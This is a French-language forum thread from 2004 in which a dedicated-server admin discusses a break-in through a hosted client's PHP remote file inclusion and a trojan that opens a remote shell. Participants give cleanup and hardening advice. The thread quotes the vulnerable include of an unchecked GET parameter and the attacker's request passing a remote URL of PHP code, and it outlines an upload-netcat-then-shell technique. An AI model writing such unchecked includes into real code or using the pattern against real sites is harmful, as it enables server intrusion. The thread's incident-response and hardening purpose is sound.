nettoyage suite a hack

Le
christophe
hello tt le monde,

j'administre un serveur dedie qui s'est fait hacké ce we,
le *#!*@#"est rentre par une faille php classique qu'un client heberge a
codé,
j'ai suspendu le site, restauré les sauv, trouvé ce qu'a fait le mec par
contre
je ne connais pas le troyen qu'il a installé, j'ai trouvé le source sur le
net :
http://www.fdlsk8.hpg.ig.com.br/cgi.c
qqun peut m'expliquer ce qu'il est censé faire ?
j'ai l'impression que c'est juste pour avoir un shell a distance mais
j'aimerais avoir votre avis,

D'autre part si qqun connais bien la bestiole pourrais t'il me dire comment
etre sur
de l'avoir totalement supprimée ? a priori les ports en ecoute ne sont pas
suspects,
j'ai passé un antivirus qui n'as rien trouvé ainsi que chkrootkit qui est
lui aussi resté muet.

merci d'avance,

chris
Vos réponses Page 1 / 2
Gagnez chaque mois un abonnement Premium avec GNT : Inscrivez-vous !
Trier par : date / pertinence
Cedric Blancher
Le #561882
Le Mon, 05 Apr 2004 14:22:34 +0000, christophe a écrit :
j'administre un serveur dedie qui s'est fait hacké ce we,
le *#!*@#"est rentre par une faille php classique qu'un client heberge a
codé


Il faut revoir la politique de cloisonnement des sites web. Il n'est pas
normal qu'une faille dans un site hébergé mette en péril la machine
dans son ensemble. Le PHP a un truc sympathique qui s'appelle le safe_mode
et qui aide bien...

j'ai suspendu le site, restauré les sauv, trouvé ce qu'a fait le mec
par contre je ne connais pas le troyen qu'il a installé


Quand une machine a été corrompue, il faut la raser et tout réinstallé
de zéro. En effet, rien ne te prouve que ce que tu as trouvé soit le
seul rootkit installé. C'est peut-être juste l'arbre qui cache la forêt...


--
Créer une hiérarchie supplementaire pour remedier à un problème (?) de
dispersion est d'une logique digne des Shadocks.
* BT in: Guide du Cabaliste Usenet - La Cabale vote oui (les Shadocks aussi) *

Thieum
Le #561878
http://www.fdlsk8.hpg.ig.com.br/cgi.c
qqun peut m'expliquer ce qu'il est censé faire ?
j'ai l'impression que c'est juste pour avoir un shell a distance mais
j'aimerais avoir votre avis,


Oui, c'est un shell sur le port 44464
Comment est il rentré via du PHP ?

Erwan David
Le #561879
Cedric Blancher
Il faut revoir la politique de cloisonnement des sites web. Il n'est pas
normal qu'une faille dans un site hébergé mette en péril la machine
dans son ensemble. Le PHP a un truc sympathique qui s'appelle le safe_mode
et qui aide bien...


Mais qui malheureusement fait hurler les hébergés qui veulent mettre
le dernier script tout fait de la mort qui tue.

Quoique c'est alors un bon moyen de sélectionner à qui envoyer une
brochure sur la sécurité du serveur d'hébergement...


--
Real programs don't eat cache

Cedric Blancher
Le #559614
Le Mon, 05 Apr 2004 16:07:26 +0000, Thieum a écrit :
Comment est il rentré via du PHP ?


Exemple assez basique et terriblement classique.

Un script te permet d'uploader des fichiers dans l'espace de publication.
Tu uploades un binaire genre netcat et un script PHP faisant un system sur
ce binaire. Tu ouvres l'URL de ton binaire et tu as un shell.
Parfois, l'espace d'upload n'est pas dans l'espace de publication. Il est
alors nécessaire de trouver un script réalisant un directory traversal
pour aller exécuter le PHP. Là encore, tu as un shell.

Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce
qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop
dur non plus.

--
BOFH excuse #199:

the curls in your keyboard cord are losing electricity.

Thieum
Le #559609
Un script te permet d'uploader des fichiers dans l'espace de publication.
Tu uploades un binaire genre netcat et un script PHP faisant un system sur
ce binaire. Tu ouvres l'URL de ton binaire et tu as un shell.
Parfois, l'espace d'upload n'est pas dans l'espace de publication. Il est
alors nécessaire de trouver un script réalisant un directory traversal
pour aller exécuter le PHP. Là encore, tu as un shell.
Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce
qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop
dur non plus.


*Théoriquement* sur un serveur tu as un repertoire par user avec des droits
spécifiques ? Tu ne dois pas pouvoir executer de programme ?
A+

Cedric Blancher
Le #559608
Le Mon, 05 Apr 2004 18:32:09 +0000, Thieum a écrit :
*Théoriquement* sur un serveur tu as un repertoire par user avec des droits
spécifiques ? Tu ne dois pas pouvoir executer de programme ?


Sauf que tes scripts, ils ne sont pas exécuté au sens système du terme.
Ils sont interprété par le serveur web, qui tourne avec l'identité
d'un utilisateur unique (généralement www-data pour Apache), qui doit
avoir accès en lecture aux scripts de _tous_ les utilisateurs du
système. Du coup, à moins d'utiliser des extensions spécifiques, les
scripts de toto ou tata donnent lieu à des actions de la part du serveur
web sous un nom d'utilisateur unique. Et quand on peut appliquer la
méthode exposée, c'est sous cet utilisateur qu'on a un shell, et non
sous l'identité du propriétaire des pages.

Voir la doc de Apache :

http://httpd.apache.org/docs-2.0/misc/security_tips.html

Je cite :

" Embedded scripting options which run as part of the server itself, such
as mod_php, mod_perl, mod_tcl, and mod_python, run under the identity of
the server itself (see the User directive), and therefore scripts
executed by these engines potentially can access anything the server
user can. Some scripting engines may provide restrictions, but it is
better to be safe and assume not."

Et comme je le disais avant, un des moyens pour éviter ça en PHP, c'est
d'activer et de configurer le safe_mode pour fournir une compartimentation
entre les sites hébergés sur le système, et surtout entre les sites et
le système lui-même.

Il n'était pas question de fournir un équivalent de suEXEC pour les
langages embarqués, et en particulier PHP ?

--
I gave up on finding an answer and started drinking.
-+- KM in: Guide du Cabaliste Usenet - Définir le consensus ? -+-

FAb
Le #559379
Cedric Blancher
d'activer et de configurer le safe_mode pour fournir une compartimentation


configurer php pour interdire les exec et dérivés.

Il n'était pas question de fournir un équivalent de suEXEC pour les
langages embarqués, et en particulier PHP ?


c'est fait.

Cedric Blancher
Le #559137
Le Tue, 06 Apr 2004 07:18:31 +0000, FAb a écrit :
configurer php pour interdire les exec et dérivés.


Le safe_mode le fait en n'autorisant l'exécution que si le binaire est
contenu dans un répertoire particulier, comme smrsh.

Il n'était pas question de fournir un équivalent de suEXEC pour les
langages embarqués, et en particulier PHP ?
c'est fait.



Pointeur ?

--
Une RedHat (je ne connais pas les autres distributions) ce configure
aussi simplement que windows pour un poste client.
Hélas, elle génère un maximum de traffic sur Usenet

-+- TP in guide du linuxien pervers - "Je veux revoir ma SLS ! -+-


christophe
Le #559136
Comment est il rentré via du PHP ?


une saloperie d'include a distance,
concretement le client a fait un truc du style:
mapage.php?lg=francais.php
et dans sa page un truc du style :
<?php include($HTTP_GET_VARS['lg']; ?> bien sur sans s'assurer de la
cohérence du contenu de la varible lg ...

et le "pirate" a appele la page comme suit :
mapage.php?lg=http://www.unsitealacon.com/unfichiertextecontenantducodephp.t
xt

c a mon avis la faille la plus basique en php

christophe
Le #559135
Ensuite, il suffit de trouver un local root. Et sous Linux, vu tout ce
qu'on a sous la main sur pas mal de versions du noyau, ce n'est pas trop
dur non plus.


la d'apres ce que j'ai pu trouver ce n'etait pas son intention, apres son
hack le gars a appele depuis le serveur un site qui recense les defacements,
et le but des participants est de defacer le plus grand nombre de sites
possibles,
donc bien que ne pouvant pas en etre sur, je pense qu'il n'a meme
pas tenté de passer root,
mais c clair qu'une reinstall s'impose ...

Publicité
Poster une réponse
Anonyme